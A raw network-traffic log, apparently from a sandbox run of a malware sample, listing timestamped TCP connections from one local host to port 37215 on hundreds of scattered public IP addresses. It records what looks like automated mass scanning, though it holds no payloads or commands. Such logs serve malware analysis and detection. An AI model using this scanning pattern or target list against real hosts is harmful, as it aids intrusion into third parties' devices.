Dec 30, 2024 11:58:09.552046061 CET	37215	57376	197.62.103.239	192.168.2.13
Dec 30, 2024 11:58:09.552113056 CET	32974	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.552113056 CET	32974	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.552278042 CET	37215	41056	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:09.552550077 CET	33028	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.552582026 CET	37215	41110	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:09.552620888 CET	41110	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.553059101 CET	37215	37784	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:09.553133965 CET	34954	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.553133965 CET	34954	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.553553104 CET	35008	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.553592920 CET	37215	37838	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:09.553644896 CET	37838	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.554168940 CET	37215	35668	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:09.554239988 CET	44076	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.554239988 CET	44076	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.554644108 CET	37215	35722	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:09.554683924 CET	44130	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.554687977 CET	35722	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.555083036 CET	37215	48804	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:09.555341005 CET	44016	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.555341005 CET	44016	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.555525064 CET	37215	48858	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:09.555573940 CET	48858	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.555712938 CET	44070	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.556020021 CET	37215	33798	197.101.199.18	192.168.2.13
Dec 30, 2024 11:58:09.556029081 CET	37215	37030	41.90.249.247	192.168.2.13
Dec 30, 2024 11:58:09.556036949 CET	37215	55820	156.54.127.16	192.168.2.13
Dec 30, 2024 11:58:09.556051016 CET	37215	34612	156.64.101.67	192.168.2.13
Dec 30, 2024 11:58:09.556060076 CET	37215	54052	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:09.556217909 CET	32904	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.556217909 CET	32904	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.556436062 CET	37215	54106	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:09.556499004 CET	54106	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.556571007 CET	32958	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.556865931 CET	37215	32974	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:09.557069063 CET	43958	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.557069063 CET	43958	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.557306051 CET	37215	33028	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:09.557352066 CET	33028	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.557503939 CET	44012	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.557939053 CET	37215	34954	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:09.558209896 CET	35290	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.558221102 CET	43314	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.558223009 CET	36374	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.558221102 CET	59024	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.558223963 CET	34842	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.558238029 CET	48230	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.558238029 CET	41110	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.558238983 CET	42214	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.558245897 CET	37838	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.558255911 CET	35722	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.558255911 CET	48858	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.558262110 CET	33028	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.558275938 CET	37215	35008	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:09.558283091 CET	54106	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.558285952 CET	46050	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.558294058 CET	46050	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.558324099 CET	35008	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.558794975 CET	46104	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.559015036 CET	37215	44076	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:09.559247017 CET	37406	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.559247017 CET	37406	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.559432030 CET	37215	44130	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:09.559490919 CET	44130	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.559601068 CET	37460	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.559983015 CET	37215	58550	41.85.61.39	192.168.2.13
Dec 30, 2024 11:58:09.559990883 CET	37215	39802	197.160.191.181	192.168.2.13
Dec 30, 2024 11:58:09.560061932 CET	37215	44016	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:09.560173035 CET	55972	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.560173035 CET	55972	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.560506105 CET	37215	44070	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:09.560547113 CET	44070	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.560674906 CET	56026	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.561034918 CET	37215	32904	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:09.561109066 CET	43628	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.561109066 CET	43628	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.561315060 CET	37215	32958	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:09.561359882 CET	32958	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.561460972 CET	43682	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.561845064 CET	37215	43958	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:09.562009096 CET	46802	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.562010050 CET	34136	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.562032938 CET	54654	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.562093019 CET	35008	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.562100887 CET	44070	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.562103033 CET	44130	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.562103033 CET	50846	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.562103033 CET	32958	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.562144995 CET	37302	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.562144995 CET	37302	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.562226057 CET	37215	44012	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:09.562285900 CET	44012	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.562572956 CET	37356	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.563102961 CET	37215	35290	156.123.60.116	192.168.2.13
Dec 30, 2024 11:58:09.563111067 CET	37215	46050	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:09.563142061 CET	35290	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.563232899 CET	37215	43314	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:09.563240051 CET	44012	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.563242912 CET	37215	34842	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:09.563251019 CET	37215	59024	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:09.563258886 CET	37215	36374	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:09.563266993 CET	37215	41110	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:09.563268900 CET	43314	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.563275099 CET	37215	42214	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:09.563280106 CET	34842	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.563282013 CET	59024	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.563283920 CET	37215	48230	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:09.563296080 CET	37215	37838	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:09.563296080 CET	36374	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.563304901 CET	37215	35722	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:09.563309908 CET	41110	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.563316107 CET	42214	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.563323975 CET	37215	48858	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:09.563333035 CET	37215	33028	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:09.563338041 CET	48230	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.563345909 CET	37838	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.563350916 CET	35722	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.563368082 CET	48858	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.563378096 CET	33028	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.563610077 CET	37215	46104	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:09.563618898 CET	37215	54106	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:09.563662052 CET	46104	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.563662052 CET	46104	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.563682079 CET	54106	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.564074039 CET	37215	37406	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:09.564316034 CET	37215	37460	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:09.564377069 CET	37460	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.564377069 CET	37460	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.564992905 CET	37215	55972	41.81.248.45	192.168.2.13
Dec 30, 2024 11:58:09.565510035 CET	37215	56026	41.81.248.45	192.168.2.13
Dec 30, 2024 11:58:09.565562010 CET	56026	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.565573931 CET	56026	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.565833092 CET	37215	43628	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:09.566248894 CET	37215	43682	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:09.566292048 CET	43682	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.566303015 CET	43682	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.566777945 CET	37215	46802	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:09.566826105 CET	46802	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.566863060 CET	37215	37302	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:09.566973925 CET	37215	34136	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:09.566982985 CET	37215	54654	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:09.567015886 CET	34136	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.567037106 CET	54654	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.567071915 CET	37215	35008	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:09.567082882 CET	37215	44070	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:09.567091942 CET	37215	44130	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:09.567100048 CET	37215	50846	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:09.567115068 CET	35008	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.567137003 CET	44070	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.567153931 CET	50846	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.567157984 CET	44130	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.567322969 CET	37215	37356	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:09.567339897 CET	37215	32958	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:09.567405939 CET	37356	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.567405939 CET	37356	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.567444086 CET	32958	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.568186045 CET	37215	44012	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:09.568236113 CET	44012	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.568538904 CET	37215	46104	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:09.568588972 CET	46104	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.569264889 CET	37215	37460	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:09.569312096 CET	37460	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.570525885 CET	37215	56026	41.81.248.45	192.168.2.13
Dec 30, 2024 11:58:09.570569992 CET	56026	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.571212053 CET	37215	43682	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:09.571252108 CET	43682	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.572254896 CET	37215	37356	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:09.572300911 CET	37356	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.587965965 CET	37215	33834	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:09.588047028 CET	37215	54352	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:09.588056087 CET	37215	46500	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:09.588063002 CET	37215	43260	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:09.588071108 CET	37215	58970	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:09.588079929 CET	37215	35236	156.123.60.116	192.168.2.13
Dec 30, 2024 11:58:09.588088036 CET	37215	50544	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:09.592036009 CET	37215	48176	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:09.592044115 CET	37215	42160	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:09.592051983 CET	37215	36320	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:09.592061043 CET	37215	34788	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:09.596034050 CET	37215	48804	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:09.596041918 CET	37215	35668	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:09.596050024 CET	37215	37784	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:09.596056938 CET	37215	41056	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:09.604118109 CET	37215	44076	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:09.604125977 CET	37215	34954	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:09.604134083 CET	37215	32974	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:09.604140997 CET	37215	54052	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:09.604145050 CET	37215	46050	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:09.604152918 CET	37215	43958	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:09.604160070 CET	37215	32904	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:09.604176044 CET	37215	44016	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:09.612065077 CET	37215	37302	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:09.612085104 CET	37215	43628	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:09.612112999 CET	37215	55972	41.81.248.45	192.168.2.13
Dec 30, 2024 11:58:09.612119913 CET	37215	37406	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:10.568584919 CET	14099	37215	192.168.2.13	156.191.93.237
Dec 30, 2024 11:58:10.568586111 CET	14099	37215	192.168.2.13	197.192.128.53
Dec 30, 2024 11:58:10.568592072 CET	14099	37215	192.168.2.13	41.55.65.172
Dec 30, 2024 11:58:10.568592072 CET	14099	37215	192.168.2.13	156.18.92.110
Dec 30, 2024 11:58:10.568636894 CET	14099	37215	192.168.2.13	156.101.247.130
Dec 30, 2024 11:58:10.568639040 CET	14099	37215	192.168.2.13	156.109.241.42
Dec 30, 2024 11:58:10.568639040 CET	14099	37215	192.168.2.13	197.246.49.5
Dec 30, 2024 11:58:10.568639040 CET	14099	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:10.568643093 CET	14099	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:10.568648100 CET	14099	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:10.568648100 CET	14099	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:10.568648100 CET	14099	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:10.568649054 CET	14099	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:10.568649054 CET	14099	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:10.568649054 CET	14099	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:10.568654060 CET	14099	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:10.568654060 CET	14099	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:10.568654060 CET	14099	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:10.568654060 CET	14099	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:10.568686008 CET	14099	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:10.568686008 CET	14099	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:10.568686008 CET	14099	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:10.568686008 CET	14099	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:10.568689108 CET	14099	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:10.568691015 CET	14099	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:10.568691015 CET	14099	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:10.568697929 CET	14099	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:10.568698883 CET	14099	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:10.568698883 CET	14099	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:10.568703890 CET	14099	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:10.568717003 CET	14099	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:10.568717003 CET	14099	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:10.568717003 CET	14099	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:10.568722963 CET	14099	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:10.568722963 CET	14099	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:10.568725109 CET	14099	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:10.568727970 CET	14099	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:10.568727970 CET	14099	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:10.568727970 CET	14099	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:10.568727970 CET	14099	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:10.568753004 CET	14099	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:10.568753004 CET	14099	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:10.568753004 CET	14099	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:10.568761110 CET	14099	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:10.568763018 CET	14099	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:10.568763018 CET	14099	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:10.568763971 CET	14099	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:10.568763971 CET	14099	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:10.568766117 CET	14099	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:10.568766117 CET	14099	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:10.568766117 CET	14099	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:10.568782091 CET	14099	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:10.568782091 CET	14099	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:10.568783998 CET	14099	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:10.568783998 CET	14099	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:10.568783998 CET	14099	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:10.568783998 CET	14099	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:10.568795919 CET	14099	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:10.568798065 CET	14099	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:10.568799019 CET	14099	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:10.568803072 CET	14099	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:10.568803072 CET	14099	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:10.568804979 CET	14099	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:10.568804979 CET	14099	37215	192.168.2.13	156.95.34.112
Dec 30, 2024 11:58:10.568809986 CET	14099	37215	192.168.2.13	41.50.141.94
Dec 30, 2024 11:58:10.568813086 CET	14099	37215	192.168.2.13	41.171.127.49
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	156.149.182.191
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	156.207.249.17
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	197.89.105.33
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	41.44.163.240
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	156.13.189.108
Dec 30, 2024 11:58:10.568850994 CET	14099	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:10.568856001 CET	14099	37215	192.168.2.13	156.106.104.75
Dec 30, 2024 11:58:10.568856001 CET	14099	37215	192.168.2.13	156.13.108.190
Dec 30, 2024 11:58:10.568856955 CET	14099	37215	192.168.2.13	197.238.194.223
Dec 30, 2024 11:58:10.568859100 CET	14099	37215	192.168.2.13	197.107.33.31
Dec 30, 2024 11:58:10.568860054 CET	14099	37215	192.168.2.13	41.149.131.230
Dec 30, 2024 11:58:10.568859100 CET	14099	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:10.568860054 CET	14099	37215	192.168.2.13	197.207.205.126
Dec 30, 2024 11:58:10.568859100 CET	14099	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:10.568860054 CET	14099	37215	192.168.2.13	197.184.115.105
Dec 30, 2024 11:58:10.568860054 CET	14099	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:10.568898916 CET	14099	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:10.568898916 CET	14099	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:10.568902969 CET	14099	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:10.568902969 CET	14099	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:10.568906069 CET	14099	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:10.568902969 CET	14099	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:10.568906069 CET	14099	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:10.568902969 CET	14099	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:10.568906069 CET	14099	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:10.568912029 CET	14099	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:10.568906069 CET	14099	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:10.568902016 CET	14099	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:10.568906069 CET	14099	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:10.568943024 CET	14099	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:10.568943977 CET	14099	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:10.568947077 CET	14099	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:10.568947077 CET	14099	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:10.568947077 CET	14099	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:10.568948030 CET	14099	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:10.568947077 CET	14099	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:10.568948984 CET	14099	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:10.568948030 CET	14099	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:10.568948984 CET	14099	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:10.568953037 CET	14099	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:10.568953037 CET	14099	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:10.568953037 CET	14099	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:10.568957090 CET	14099	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:10.568979025 CET	14099	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:10.568979025 CET	14099	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:10.568978071 CET	14099	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:10.568979025 CET	14099	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:10.568980932 CET	14099	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:10.568981886 CET	14099	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:10.568979979 CET	14099	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:10.568981886 CET	14099	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:10.568979979 CET	14099	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.26.178.209
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:10.569045067 CET	14099	37215	192.168.2.13	41.29.41.169
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:10.569046974 CET	14099	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:10.569046021 CET	14099	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:10.569046974 CET	14099	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.17.174.6
Dec 30, 2024 11:58:10.569046974 CET	14099	37215	192.168.2.13	41.128.29.173
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:10.569046974 CET	14099	37215	192.168.2.13	41.177.76.91
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	41.189.121.217
